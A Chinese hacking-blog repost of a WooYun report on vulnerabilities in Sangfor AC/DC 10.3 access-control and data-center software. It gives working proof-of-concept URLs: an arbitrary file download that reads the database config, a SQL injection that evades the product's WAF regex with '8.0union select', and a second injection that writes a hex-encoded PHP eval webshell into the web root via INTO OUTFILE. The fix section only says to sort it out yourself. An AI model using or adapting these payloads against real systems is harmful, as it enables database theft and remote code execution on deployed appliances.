记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

深信服AC DC 10.3漏洞集合第一弹

2015-07-01 06:20

在说明漏洞前先说明下自带的防攻击措施

1、magic_quotes_gpc=ON

2、代码用zend加密过,可以用黑刀解密

3、系统自带攻击拦截,针对GPC,代码如下:

code 区域
$requestfilter = "\\b(and|or)\\b.+?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bUNION\\b.+?\\bSelect\\b|\\bUpdate\\b.+?\\bSET\\b|\\bInsert\\b\\s+\\bINTO\\b.+?\\bVALUES\\b|\\b(Select|Delete)\\b.+?\\bFROM\\b|\\b(Create|Alter|Drop|TRUNCATE)\\b\\s+\\b(TABLE|DATABASE)\\b";





下面是漏洞描述部分:

一、任意文件下载1(需要登录)

问题文件:/src/download.php

code 区域
<?php

require_once( "include.php" );

require_once( CONFIG_INC_PHP_PATH."config.inc.php" );

if ( isset( $_REQUEST['filename'] ) )

{

$filename = "../file/".$_REQUEST['filename'];

}

if ( strlen( $filename ) == 0 )

{

echo "请设置文件名称.";

echo "filename : ".$filename;

exit( );

}

$Name = substr( $filename, strrpos( $filename, "/" ) + 1, strlen( $filename ) );

$ext = substr( $Name, strrpos( $Name, "." ), 4 );

header( "Content-Type: application/x-".$ext );

header( "Content-Length: ".filesize( $filename ) );

header( "Content-Disposition: attachment; filename=".$Name );

readfile( $filename );

?>



这个洞没什么好说的,POC:

http://192.168.222.101/src/download.php?filename=../inc/dbinfo.conf

1.jpg





二、SQL注射1(需要登录,鸡肋)

问题文件:/src/downloadreport.php

code 区域
$fields['account'] = $_REQUEST['account_id'];

$fields['name'] = $_REQUEST['name'];

$fields['time'] = $_REQUEST['time'];

$info = $customreport->HistoryReportInfo( $fields );



function HistoryReportInfo位于/src/inc/class/data/customreport.php:

可以看到变量account_id直接进入了sql语句

2.png



最上面提到的正则拦截了union select,可以用8.0union select bypass之,最后POC:

code 区域
http://192.168.222.101/src/downloadreport.php?account_id=8.0union select 1,2,3,4,5,6,7



可惜系统开了magic_quotes_gpc,没办法利用select into outfile getshell



三、SQL注射2(需要登录,可getshell)

问题文件:/src/getmailfile.php

code 区域
$obj = new CActionSearch( );

$obj->Init( );

$date = "".trim( getrequest( "date" ) );

$str = "".trim( getrequest( "auto_id" ) );

$autoId = urldecode( sdecrypt( $str, 2008 ) );

$trecord = $obj->_log->GetRecordByDateId( $date, $autoId );



code 区域
public function GetRecordByDateId( $_obfuscate_O6ZGVA, $_obfuscate_0W8 )

{

$_obfuscate_3y0Y = "select ".$this->query_cols." from A{$_obfuscate_O6ZGVA} A where auto_id = {$_obfuscate_0W8}";

$_obfuscate_SF4 = $this->fetchAllRows( $_obfuscate_3y0Y );



看下罪魁祸首的问题函数getrequest:

code 区域
function getRequest( $_obfuscate_R2_b )

{

if ( get_magic_quotes_gpc( ) )

{

return stripslashes( $_REQUEST[$_obfuscate_R2_b] );

}

return $_REQUEST[$_obfuscate_R2_b];

}



开了magic_quotes_gpc也白搭,直接通过stripslashes去掉了“\”

这个地方要想利用还存在一个条件,就是必须存在A表(AC同步过来的行为审计表),既然装了外置DC,还可能会没有AC同步日志过来吗??这不是个问题

我这边没设备用来同步日志只能创建Atest表测试了:

code 区域
create table Atest(

auto_id bigint unsigned not null default 0,

record_id bigint unsigned not null,

account_id bigint unsigned not null,

dev_id bigint unsigned not null default 0,

user_crc varchar(128) not null,

group_crc varchar(128) not null,

ip_type varchar(128) not null,

host_ip varchar(128) not null,

dst_ip varchar(128) not null,

private_type varchar(128) not null,

serv_crc varchar(128) not null,

app_crc varchar(128) not null,

record_time varchar(128) not null,

net_action varchar(128) not null,

index3 varchar(128) not null,

index4 varchar(128) not null,

primary key (auto_id)

)ENGINE=MYISAM



需要bypass最开始说的正则,bypass方法和上面一样,用8.0union select代替\bunion select

最终getshell EXP:

code 区域
http://192.168.222.101/src/contentdetail.php?date=test A where 8.0union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0x3C3F70687020406576616C28245F504F53545B3132335D293B3F3E into outfile 'D:\\Program Files\\Sangfor\\DataCenter\\dcweb\\shell.php'-- &auto_id=1



3.png

漏洞证明:

1.jpg



2.png



3.png

修复方案:

自己看着办

知识来源: www.wooyun.org/bugs/wooyun-2015-0105026

阅读:103470 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“深信服AC DC 10.3漏洞集合第一弹”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于垒土;黑客之术,始于阅读

推广

工具

标签云

本页关键词